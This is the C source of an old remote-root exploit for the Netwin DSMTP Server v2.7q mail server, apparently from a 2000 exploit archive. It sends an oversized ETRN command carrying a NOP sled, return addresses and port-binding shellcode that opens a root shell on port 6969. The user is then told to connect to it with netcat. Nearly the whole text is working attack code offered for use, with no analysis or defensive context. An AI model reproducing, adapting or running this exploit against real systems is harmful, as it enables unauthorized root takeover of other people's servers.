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- /*
- Netwin DSMTP Server v2.7q remote-root exploit
- noir@gsu.linux.org.tr | noir@olympos.org
-
- writen just for fun : ) heh,
- tested arch = x86/Linux mdk7.0
- I will port this to Solaris & FreeBSD when I have time...
- check http://gsu.linux.org.tr/~noir/ offsets for other Linux distros.
-
- greetz: moog, si_ (happy birthday!), CronoS, still, teso crew,
- gsu-linux, `B, calaz, olympos secteam
-
- FOUND BY Eric Andry eric@wincom.net
- */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <string.h>
- #include <stdlib.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netdb.h>
- #include <netinet/in.h>
- #include <sys/time.h>
-
- unsigned char shellcode[]= /* noir@olympos.org */
- "\x31\xc0\x40\x40\x89\x45\xf4\x48\x89\x45\xf8\x48\x89"
- "\x45\xfc\xb0\x66\x31\xdb\x43\x8d\x4d\xf4\xcd\x80\x31"
- "\xdb\x43\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1b\x39"
- "\x31\xdb\x89\x5d\xf0\x89\x45\xf4\x89\xc2\x8d\x45\xec"
- "\x89\x45\xf8\xc6\x45\xfc\x10\x31\xc0\xb0\x66\x31\xdb"
- "\xb3\x02\x8d\x4d\xf4\xcd\x80\x89\x55\xf8\x31\xc0\x40"
- "\x89\x45\xfc\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x8d\x4d"
- "\xf8\xcd\x80\x89\x55\xf4\x31\xc0\x89\x45\xf8\x89\x45"
- "\xf8\x89\x45\xfc\xb0\x66\x31\xdb\xb3\x05\x8d\x4d\xf4"
- "\xcd\x80\x89\xc2\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xcd"
- "\x80\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x01\xcd\x80"
- "\x31\xc0\xb0\x3f\x89\xd3\x31\xc9\xb1\x02\xcd\x80"
- /* generic shellcode execve(args[0],args,0); aleph1 */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- int resolv(char *hname, struct in_addr *addr);
-
- #define RET_MDK70 0xbfff97ec
- #define RET_REDHAT60 0xaabbccdd
- #define RET_SLACK70 0xddccbbaa
- #define NOP 0x90
- #define ALIGN 1
-
- int
- main(int argc, char *argv[])
- {
- int fd, n;
- int i, l;
- unsigned char ovf[860];
- char buff[200];
- int offset = 0;
- struct sockaddr_in servaddr;
- if (argc < 2 )
- {
- fprintf(stderr,"%s <host> [offset]\n",argv[0]);
- exit(0);
- }
- if(argv[2])
- offset=atoi(argv[2]);
- printf("Netwin DSMTP v2.7q remote-root exploit by noir\n");
- if( (fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
- {
- perror("socket");
- exit(-1);
- }
- bzero(&servaddr, sizeof(servaddr));
- servaddr.sin_family = AF_INET;
- servaddr.sin_port = htons(25);
- if(!resolv(argv[1], &servaddr.sin_addr))
- {
- herror("gethostbyname");
- exit(-1);
- }
- if(connect(fd, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 )
- {
- perror("connect");
- exit(-1);
- }
- n = read(fd, buff, 1024);
- write(STDOUT_FILENO, buff, n);
- sleep(2);
- fprintf(stderr, "check for portshell 6969/tcp when done\n");
-
- memset(ovf, NOP, sizeof(ovf));
- for( i = ALIGN; i < 300; i+=4)
- *(long *) &ovf[i] = RET_MDK70 + offset;
-
- for( i = 650, l = 0; l < strlen(shellcode) ;i++, l++)
- ovf[i] = shellcode[l];
-
- memcpy(ovf, "ETRN ", 5);
- strcpy(ovf+858,"\r\n\0");
- write(fd, ovf, strlen(ovf));
- fprintf(stderr,"done!\n$ nc %s 6969\n", argv[1]);
- return 1;
- }
-
- int
- resolv(char *hname, struct in_addr *addr)
- {
- struct hostent *hp;
- if ( (hp = gethostbyname(hname)) == NULL)
- return 0;
-
- memcpy((struct in_addr *)addr, (char *)hp->h_addr, sizeof(struct in_addr));
- return 1;
- }
- /* www.hack.co.za [12 June 2000]*/